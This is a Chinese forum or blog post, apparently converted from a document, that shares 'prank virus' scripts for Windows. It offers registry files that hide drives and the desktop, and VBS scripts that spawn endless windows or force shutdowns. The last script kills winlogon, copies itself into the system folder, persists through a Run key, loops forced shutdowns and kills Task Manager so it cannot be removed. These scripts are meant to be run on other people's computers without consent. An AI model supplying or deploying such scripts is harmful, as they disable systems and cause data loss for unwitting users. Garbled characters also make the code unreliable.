整人病毒代码(一).docx

整人“病毒代码〔一〕发表于 2013-10-23 10:33
前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。PS：由于精力问题没有对代码的可用性进展一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改良的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。一、怎么点都没反响的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，时机来了。 把他的电脑桌面按print键截屏截下来，〔当然QQ截屏也可以，不过效果不太逼真！〕建议大家用print截屏，设置为桌面。然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反响！现在还在关机，开机，关机，开机，关机，开机中 附带：print键截屏方法：键盘右上方的“Print
Screen Sys Rq键的作用是屏幕抓图！用法一，按“Print Screen SysRq
一下，对当前屏幕进展抓图，就是整个显示屏的容。用法二，先按住“Alt
键，再按“Print Screen SysRq键，则是对当前窗进展抓图。如你翻开“我的电脑 后，用此法就抓取“我的电脑 窗的容。用上诉两种方法抓图后，
再翻开“开场、“附件 里的“画图 程序，点“编辑、“粘贴 就把抓取的图片贴出来了，可以保存为自己需要的格式。 哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失-隐藏磁盘方法愚人节
电脑整人使无端端地电脑磁盘的*个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是*些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.t*t改为“新建文件.reg 3.
将下面的代码复制到记事本当中：Windows Registry Editor Version 5.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E*plorer]
"NoDrives" =he*:08,,,
解释 〔1〕"NoDrives" =he*:08,,,这个键值是隐藏D盘的图中的D盘已经神秘消失了。 〔2〕A=01 B=02 C=04 D=08E=10 F=20G=40 H=80 I=01 J=02K=04
原理介绍：二进制值“NoDrives的缺省值均是,,,，表示不隐藏任何驱动器。键值由四个字节组成，每个字节的每一位（bit）对应从A:到Z:的一个盘，当相应位为1时，“我的电脑 中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘，即01为A，02为B，04为C……依次类推，第二个字节代表I到P，第三个字节代表。到*，第四个字节代表Y和Z。比方要关闭C盘，将键值改为04,,,;要关闭D盘，则改为08,,,，假设要关闭C盘和D盘，则改为0C,,, （C是十六进制，转成十进制就是12）。理解了原理后，下面以笔者的电脑为例说明如何操作：笔者的电脑有一个软驱、一个硬盘（5个分区）、一个光驱，盘符分布是这样的：A:（3.5软盘）、C:、D:、E:、F:、G:、H:（光盘），所以我的“NoDrives值为“02 ff ff ff ，隐藏了 B、I到Z盘。复原方法1.点击开场--运行，如图，在运行对话框中输入“regedit ，翻开注册表编辑
器。2.依次翻开[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E*plorer]，将右侧窗中"NoDrives"这个子键删除。3.重新启动电脑。三、空空的桌面电脑桌面是用户最熟悉不过的了，电脑整人方法电脑启动之后首先呈现的就是桌面了，如果在愚人节你把你朋友的桌面给Hack掉了话，你的朋友是不是会发疯啊？桌面是用户操作电脑首先进入的界面，电脑桌面空空如也，一
望无垠的时候，你是否很无奈？原来这一切都是它在作怪！如图整人后桌面清清爽爽，什么都没有！方法步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.t*t改为“桌面.reg 3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E*plorer]
"NoDesktop"=dword:01
"NoSetTaskbar"=dword:01
解释：（1）"NoDesktop"=dword:01 这个键值是屏蔽桌面的；
（2）"NoSetTaskbar"=dword:01这个键值是禁用“任务栏属性功能。将信息导入到注册表之后，桌面图标、桌面右键、桌面属性的功能都被禁用了。复原方法：1.点击开场一运行，如图，在运行对话框中输入“ regedit ，翻开注册表编辑器。2依次翻开[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E*plorer]，将右侧窗中 “NoDesktop 、“NoSetTaskbar这两个子键删除。
四、让天使替我说我爱你
CreateObject（"SAPI.SpVoice"）.Speak"i love you"
送给你女朋友她会快乐地，保存为.vbs格式五、翻开无数个计算器setwsh=createobject（"wscript.shell"）do
wsh.run "calc"
loop
这段代码是翻开无数个计算器，直到死机，也是保存为.vbs格式六、你被耍了while（1）
msgbo* "哈哈你被耍了！"loop
这段代码就比拟坏了，一直弹出窗显示"哈哈，你被刷了 !"要是你不会完毕它，只好重启电脑了，也是保存为.vbs格式七、甩不掉的魔鬼WScript.Echo（"嘿，你翻开我哦，我等你很久拉！ "&TSName）
WScript.Echo（"你是得意的小朋吗“"）
WScript.Echo（"哈，我想你拉，这你都不知道吗？"）WScript.Echo（"怎么才来，说~是不是不关心我"）WScript.Echo（"哼，我生气拉，等你这么久，心都凉啦。"）WScript.Echo（"小强很生气，后果很严重哦。"）WScript.Echo（"嘿嘿！你也会很惨滴哦"）
WScript.Echo（"是不是想去除我？”）
WScript.Echo（"那你要点上50下哦，不过会给你惊喜滴”）
WScript.Echo（"还剩49下，快点点哦”）
WScript.Echo（"还剩48下，快点，小笨蛋！”）
WScript.Echo（"还剩47下对，就这样快点点！"）
WScript.Echo（"还剩46下。你啊就是笨，要快哦，我先不打搅你工作。”）
WScript.Echo（"还剩45下，记得要快哦！"）
WScript.Echo（"还剩 43 下"）
WScript.Echo（"还剩 42 下"）
WScript.Echo（"还剩 41 下"）
WScript.Echo（"还剩 40 下"）
WScript.Echo（"还剩 39 下”）
WScript.Echo（"还剩 38 下”）
WScript.Echo（"还剩 37 下"）
WScript.Echo（"还剩 36 下"）
WScript.Echo（"还剩 35 下"）
WScript.Echo（"还剩 34 下"）
WScript.Echo（"还剩 33 下”）
WScript.Echo（"还剩 32 下”）
WScript.Echo（"还剩 30 下”）
WScript.Echo（"还剩 29 下”）
WScript.Echo（"还剩 28 下”）
WScript.Echo（"还剩 27 下"）
WScript.Echo（"还剩 26 下"）
WScript.Echo（"还剩 25 下"）
WScript.Echo（"还剩 24 下"）
WScript.Echo（"还剩 23 下”）
WScript.Echo（"还剩 22 下”）
WScript.Echo（"还剩 21 下”）
WScript.Echo（"还剩 20 下”）
WScript.Echo（"还剩 19 下"）
WScript.Echo（"还剩 18 下"）
WScript.Echo（"还剩 17 下"）
WScript.Echo（"还剩 16 下"）
WScript.Echo（"还剩 15 下"）
WScript.Echo（"还剩 14 下"）
WScript.Echo（"还剩13下停停慢点，我有话要说"）
WScript.Echo（"还剩12下，你继续点我就会消失滴"）
WScript.Echo（"还剩11下，以后就看不到我拉。555555 "）
WScript.Echo（"还剩10下，你现在可以选择停顿！"）
WScript.Echo（"还剩9下。你还点啊，不要我拉？"）
WScript.Echo（"还剩8下，有点伤心拉，干嘛丢弃人家"）
WScript.Echo（"还剩7下。疯了，你有点负意！"）
WScript.Echo（"还剩6下。对。你就点吧，我恨你！"）
WScript.Echo（"还剩5下，不明白，删除我你就好吗？"）
WScript.Echo（"还剩4下！真要删除我？"）
WScript.Echo（"还剩3下。可是我真的很眷恋你。。。”）
WScript.Echo（"还剩2下。不要这么绝情嘛，人家是爱你的！”）
WScript.Echo（"还剩1下。哼，既然你这么绝情。也别怪我无义 "）
WScript.Echo（"我本因该消失的，不过我留恋你滴芳容，上帝又给了一次时机。"）
WScript.Echo（"想结素我么“那你就再多点一次"）
WScript.Echo（"想结素我么“那你就再多点一次"）
WScript.Echo（"想结素我么“那你就再多点一次"）
WScript.Echo（"想结素我么“那你就再多点一次"）
改成.vbs
八、说我是猪 on error resume ne*tdim WSHshellA
set WSHshellA =wscript.createobject（"wscript.shell"）
WSHshellA.run "cmd.e*e /c shutdown -r-t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下• ••"" "，0 ,truedim a
do while（a <> "我是猪"）
a = inputbo* （"说我是猪，就不关机，快撒，说""我是猪""
","说不说"，""，80,70）
msgbo* chr（13） + chr（13） + chr（13） +a,0,"MsgBo*"
loop
msgbo* chr（13） + chr（13） + chr（13） + "早说就行了嘛"dim WSHshell
set WSHshell =wscript.createobject（"wscript.shell"）
WSHshell.run "cmd.e*e /c shutdown-a",0 ,true
msgbo* chr（13） + chr（13） + chr（13） + "哈哈哈哈，好乖"
这个运行后必须输入我是猪（当然你也可以改成别的，把代码中所有的我是猪换成你想改的,
比方说我爱***之类的，大家懂的）,如果一分钟没输入我是猪，就会关机.也改成.vbs
九、被鬼附身的记事本dim sh,str,a,isetsh=createobject（"wscript.shell"）
sh.run "notepad"'翻开记事本 do while sh.appactivate（"无标题-记事本"）=false
wscript.sleep 10
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。'如果想输入中文请把下2行的注释去掉。
否则就在前面加上注释符号"(不带引号)
'并在str中输入按键的过程如：想输入“气死我了 就写qisiwole1sh.sendkeys "A "
'解释上一行：呼唤中文输入法for i=0 to len(str)-1a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键wscript.sleep 5 '打字速度。数值越小越快。ne*t
save=1 '如想保存则写1if save=1 thensh.sendkeys "A "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys "As"
wscript.sleep 3
sh.sendkeys "c:\name.t*t"'文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭wscript.sleep 1
sh.sendkeys "{Enter}"end if
这个会自动翻开笔记本，自己写字，怎么样“是不是有贞子爬到你电脑里的感觉
“也是保存为.vbs格式十、蓝屏代码for each ps in
getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ifUcase(ps.name)=Ucase("winlogon.e*e") thenps.terminateend ifne*t
for each psingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_ifUcase(ps.name)=Ucase("winlogon.e*e") thenps.terminateend ifne*t
Setws=CreateObject("WScript.Shell")
setfs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10i=i+1ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"loopws.run "shutdown -s -f -t 60"dowscript.sleep 5if ws.appactivate（"Windows 任务管理器"）=truethenws.run "taskkill /f /imTaskmgr.e*e"end ifif ws.appactivate（"命令提示符"）=truethenws.run "taskkill /f /im cmd.e*e"end ififws.appactivate（"C:\WINDOWS\system32\cmd.e*e"）=true thenws.run "taskkill /f /im cmd.e*e"end ifif ws.appactivate（"系统关机"）=falsethenws.run "shutdown -s -f -t 30"end ifloop
改成.vbs